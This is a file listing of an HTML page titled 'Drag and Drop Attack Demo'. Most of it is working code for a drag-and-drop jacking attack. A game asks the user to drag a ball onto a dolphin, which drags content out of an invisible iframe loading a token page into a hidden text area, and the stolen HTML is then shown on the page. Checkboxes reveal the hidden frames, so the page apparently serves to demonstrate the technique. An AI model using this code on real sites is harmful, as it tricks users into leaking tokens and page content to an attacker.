-
Notifications
You must be signed in to change notification settings - Fork 2
/
dragdrop_jacking.html
139 lines (135 loc) · 4.45 KB
/
dragdrop_jacking.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<html>
<head>
<title>
Drag and Drop Attack Demo
</title>
<style>
.IFrame_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden;
filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{
height: 30px; width: 30px; top:180px; left:665px; border:1px solid black;
overflow:hidden; filter: alpha(opacity=0); opacity:.0;position: absolute;}
.ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px;
left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; }.Dolphin{
top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left:
auto; vertical-align:middle;text-align:center; margin-top:350px;}
</style>
<script>
function Init() { //添加监听
var source = document.getElementById("source");
var target = document.getElementById("target");
if (source.addEventListener) {
target.addEventListener("drop", DumpInfo, false);
} else {
target.attachEvent("ondrop", DumpInfo);
}
}
function entities(s) {
var e = {
'"': '"',
'&': '&',
'<': '<',
'>': '>'
};
return s.replace(/["&<>]/g,
function(m) {
return e[m];
});
}
function DumpInfo(event) {
showHide_ball.call(this); //地面上的小球消失
showHide_ball_1.call(this); //海豚嘴上的小球出现
if (event.dataTransfer.types) { //Firefox浏览器支持
var info = document.getElementById("info");
info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" + entities(event.dataTransfer.getData('text/html')) + "</span><br> ";//在页面上打印出获取到的数据
} else { //IE浏览器支持
setTimeout("html()", 10);
}
}
function html() {
document.getElementById('target').innerText = document.getElementById ('target').innerHTML;
var info = document.getElementById("info");
info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" + (document.getElementById('target').innerHTML) + "</span><br> ";//在页面上打印出获取到的数据
}
function showHide_frame() {
var IFrame_1 = document.getElementById("IFrame_1");
IFrame_1.style.opacity = this.checked ? "0.5": "0";
IFrame_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity= " + (this.checked ? "50": "0") + ");"
}
function showHide_text() {
var text_1 = document.getElementById("target");
text_1.style.opacity = this.checked ? "0.5": "0";
text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha (opacity=" + (this.checked ? "50": "0") + ");"
}
function showHide_ball() {
var hide_ball = document.getElementById("hide_ball");
hide_ball.style.opacity = "0";
hide_ball.style.filter = "alpha(opacity=0)";
}
function showHide_ball_1() {
var hide_ball_1 = document.getElementById("hide_ball_1");
hide_ball_1.style.opacity = "1";
hide_ball_1.style.filter = "alpha(opacity=100)";
}
function reload_text() {
document.getElementById("target").value = '';
}
</script>
</head>
<body onload="Init();">
<center>
<h1>
Drag and Drop Attack
</h1>
</center>
<img id="hide_ball" src=ball.png class="ball">
<div id="source">
<iframe id="IFrame_1" src="http://192.168.10.101/Token.html
" class="IFrame_hidden" scrolling="no">
</iframe>
</div>
<img src=Dolphin.jpg class="Dolphin">
<div>
<img id="hide_ball_1" src=ball.png class="ball_1">
</div>
<div>
<div id="target" class="text_area_hidden" contenteditable="true">
test
</div>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font- weight:bold;top:600px;">
</div>
<center>
游戏规则:"Ctrl + A" 或滑动鼠标选中小球,然后把小球拖放到海豚的嘴上。
<br>
</center>
<br>
<br>
<div class="center">
<center>
<center>
<input id="showHide_frame" type="checkbox" onclick="showHide_frame.call (this);"
/>
<label for="showHide_frame">
Show the jacked I--Frame
</label>
|
<input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);"
/>
<label for="showHide_text">
Show the jacked Textarea
</label>
|
<input type=button value="Replay" onclick="location.reload();reload_ text();">
</center>
<br>
<br>
<b>
Design by
<a target="_blank" href="http://hi.baidu.com/xisigr">
xisigr
</a>
</b>
</center>
</div>
</body>
</html>